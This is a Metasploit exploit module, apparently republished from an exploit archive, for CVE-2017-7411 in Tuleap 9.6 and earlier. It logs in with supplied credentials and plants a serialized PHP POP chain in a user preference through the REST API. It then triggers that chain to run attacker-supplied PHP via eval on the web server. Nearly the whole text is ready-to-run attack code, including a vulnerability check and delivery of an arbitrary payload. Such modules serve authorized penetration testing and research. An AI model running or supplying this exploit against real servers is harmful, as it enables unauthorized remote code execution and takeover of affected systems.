Tuleap 9.6 Second-Order PHP Object Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Tuleap 9.6 Second-Order PHP Object Injection',
      'Description'    => %q{
        This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which
        could be abused by authenticated users to execute arbitrary PHP code with the permissions of the
        webserver. The vulnerability exists because of the User::getRecentElements() method is using the
        unserialize() function with data that can be arbitrarily manipulated by a user through the REST
        API interface. The exploit's POP chain abuses the __toString() method from the Mustache class
        to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method.
      },
      'Author'         => 'EgiX',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'http://karmainsecurity.com/KIS-2017-02'],
          ['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'],
          ['CVE', '2017-7411']
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['Tuleap <= 9.6', {}] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 23 2017'
      ))

      register_options(
        [
          OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
          OptString.new('USERNAME', [true, "The username to authenticate with" ]),
          OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
          OptInt.new('AID', [ false, "The Artifact ID you have access to", "1"]),
          Opt::RPORT(443)
        ])
  end

  def setup_popchain(random_param)
    print_status("Trying to login through the REST API...")

    user = datastore['USERNAME']
    pass = datastore['PASSWORD']

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'api/tokens'),
      'ctype'     => 'application/json',
      'data'      => {'username' => user, 'password' => pass}.to_json
    })

    unless res && (res.code == 201 || res.code == 200) && res.body
      msg = "Login failed with #{user}:#{pass}"
      print_error(msg) if @is_check
      fail_with(Failure::NoAccess, msg)
    end

    body  = JSON.parse(res.body)
    uid   = body['user_id']
    token = body['token']

    print_good("Login successful with #{user}:#{pass}")
    print_status("Updating user preference with POP chain string...")

    php_code = "null;eval(base64_decode($_POST['#{random_param}']));//"

    pop_chain =  'a:1:{i:0;a:1:{'
    pop_chain << 's:2:"id";O:8:"Mustache":2:{'
    pop_chain << 'S:12:"\00*\00_template";'
    pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";'
    pop_chain << 'S:11:"\00*\00_context";a:1:{'
    pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{'
    pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{'
    pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}"

    pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}}

    res = send_request_cgi({
      'method'    => 'PATCH',
      'uri'       => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"),
      'ctype'     => 'application/json',
      'headers'   => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid},
      'data'      => pref.to_json
    })

    unless res && res.code == 200
      msg = "Something went wrong"
      print_error(msg) if @is_check
      fail_with(Failure::UnexpectedReply, msg)
    end
  end

  def do_login
    print_status("Retrieving the CSRF token for login...")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'account/login.php')
    })

    if res && res.code == 200 && res.body && res.get_cookies
      if res.body =~ /name="challenge" value="(\w+)">/
        csrf_token = $1
        print_good("CSRF token: #{csrf_token}")
      else
        print_warning("CSRF token not found. Trying to login without it...")
      end
    else
      msg = "Failed to retrieve the login page"
      print_error(msg) if @is_check
      fail_with(Failure::NoAccess, msg)
    end

    user = datastore['USERNAME']
    pass = datastore['PASSWORD']

    res = send_request_cgi({
      'method'    => 'POST',
      'cookie'    => res.get_cookies,
      'uri'       => normalize_uri(target_uri.path, 'account/login.php'),
      'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token}
    })

    unless res && res.code == 302
      msg = "Login failed with #{user}:#{pass}"
      print_error(msg) if @is_check
      fail_with(Failure::NoAccess, msg)
    end

    print_good("Login successful with #{user}:#{pass}")
    res.get_cookies
  end

  def exec_php(php_code)
    random_param = rand_text_alpha(10)

    setup_popchain(random_param)
    session_cookies = do_login()

    print_status("Triggering the POP chain...")

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"),
      'cookie'    => session_cookies,
      'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
    })

    if res && res.code == 200 && res.body =~ /Exiting with Error/
      msg = "No access to Artifact ID #{datastore['AID']}"
      @is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
    end

    res
  end

  def check
    @is_check = true
    flag = rand_text_alpha(rand(10)+20)
    res  = exec_php("print '#{flag}';")

    if res && res.code == 200 && res.body =~ /#{flag}/
      return Exploit::CheckCode::Vulnerable
    elsif res && res.body =~ /Exiting with Error/
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    @is_check = false
    exec_php(payload.encoded)
  end
end